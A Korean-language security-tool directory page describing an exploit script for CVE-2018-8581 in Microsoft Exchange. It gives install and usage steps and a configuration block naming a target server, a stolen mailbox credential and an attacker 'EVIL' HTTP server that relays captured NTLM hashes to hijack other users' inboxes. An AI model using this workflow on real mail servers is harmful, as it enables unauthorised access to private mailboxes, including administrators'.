Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2018-8581 — CVE-2018-8581 | Microsoft Exchange Server 권한 상승 취약점 | Kitploit
도구/GitHubGitHub/wyatu/cve-2018-8581
Privilege EscalationExploitationLateral MovementWeb Application ExploitationPenetration TestingRed TeamingEmail Security
GitHubwyatu/cve-2018-8581

CVE-2018-8581

CVE-2018-8581 | Microsoft Exchange Server 권한 상승 취약점

저장소 보기
33110287년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2018-8581

이것은 메일박스 수준의 횡적 침투 및 권한 상승 취약점입니다.

일반 권한의 메일 계정 비밀번호를 확보한 후, 다른 사용자(도메인 관리자 포함)의 메일박스 받은 편지함에 대한 위임을 통해 인계할 수 있습니다.

이 EXP 스크립트는 원본 PoC를 기반으로 수정된 향상된 원클릭 스크립트입니다. 관련 매개변수를 구성한 후, 대상 메일박스의 받은 편지함에 대한 위임 추가 및 제거 작업을 자동으로 수행하여, 보안 부서와 레드팀이 승인된 기업에 대한 모의 공격 과정을 완료할 수 있도록 합니다.

원본 PoC는 두 개의 스크립트를 함께 사용하여 수신 규칙을 추가하는 방식으로, 실제 업무에서는 실용적이지 않았습니다. 또한 원본 PoC는 메일박스 외에도 대상 메일박스 사용자의 SID가 필요했지만, 문서에서 언급된 사용자 SID 획득 방법을 Exchange Server 2010 및 2013 환경에서 테스트했을 때 성공적으로 재현하지 못했습니다(2010은 관련 작업 옵션이 없었고, 2013은 권한 부족 오류 발생). 결국 제 접근 방식은 먼저 역위임을 통해 대상 메일박스 사용자의 SID를 획득한 후 위임을 제거하는 것이었습니다.

사용 방법

  • python-ntlm 설치

    pip install python-ntlm

  • 스크립트의 아래 코드에서 관련 매개변수 구성

    root@kitploit:~
    ...
    # Exchange server config
    IP = 'mail.target_domain.com'
    PORT = 443
    PROTO = 'https'
    # PORT = 80
    # PROTO = 'http'
    
    # CONTROLLED_EMAIL and TARGET_EMAIL config
    USER = 'the_email_u_have'
    DOMAIN = 'the_domain_name'
    PASS = 'password_of_the_email_u_have'
    
    TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
    CONTROLLED_EMAIL = "the_email_u_have@target_domain"
    
    # FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
    FLAG = 1
    
    # Exchange server version 
    # EXCHANGE_VERSION = "Exchange2010_SP1"
    EXCHANGE_VERSION = "Exchange2010_SP2"
    # EXCHANGE_VERSION = "Exchange2010_SP3"
    # EXCHANGE_VERSION = "Exchange2013"
    # EXCHANGE_VERSION = "Exchange2016"
    
    #Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
    HTTPPORT = 8080
    EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"
    ...
    
  • 스크립트를 실행하고, 구기자 차를 한 모금 마시며 1분 기다립니다.

    img1

  • 이제 TARGET_EMAIL의 받은 편지함이 CONTROLLED_EMAIL에 성공적으로 위임되었습니다.

  • OWA 또는 Outlook에서 대상 메일박스의 받은 편지함 확인

    img2

  • FLAG를 0으로 변경하고 스크립트를 다시 실행한 후, 다시 구기자 차를 한 모금 마시고 1분 기다리면 이전에 추가한 위임이 제거됩니다.

    img3

  • 더 이상 접근 권한이 없습니다.

지원 환경

  • Python 2.7.14

  • Exchange Server 2010 (비교적 안정적이며, 테스트 시 대부분의 Exchange Server 2010에서 성공합니다.)

  • Exchange Server 2013 (환경 차이로 실패할 수 있음)

  • Exchange Server 2016 (환경 차이로 실패할 수 있음)

추가 정보

더 많은 EWS SOAP API 요청은 make_relay_body() 함수 내에서 수정할 수 있습니다.

추가로 Net-NTLM 해시를 릴레이하여 SMB 서명이 필요 없는 다른 호스트를 공격하는 실험에서, 획득한 해시가 모두 ExchangeServer의 것임을 발견했습니다... 아마도 ExchangeServer에서 SMB 서명이 비활성화된 경우, 크로스 프로토콜 릴레이를 통해 ExchangeServer를 공격하는 데 사용될 수 있겠지만, 이러한 상황은 거의 발생하기 어렵습니다...

설명

이 스크립트는 학습 및 교류 목적으로만 사용되며, 사용자는 해당 지역의 관련 법률을 준수해야 합니다. 다른 용도로 사용할 경우 발생하는 법적 책임은 전적으로 사용자에게 있으며, 저자와는 무관합니다. 다운로드 및 사용 시 사용자는 위 내용에 동의하는 것으로 간주됩니다.

도구 다운로드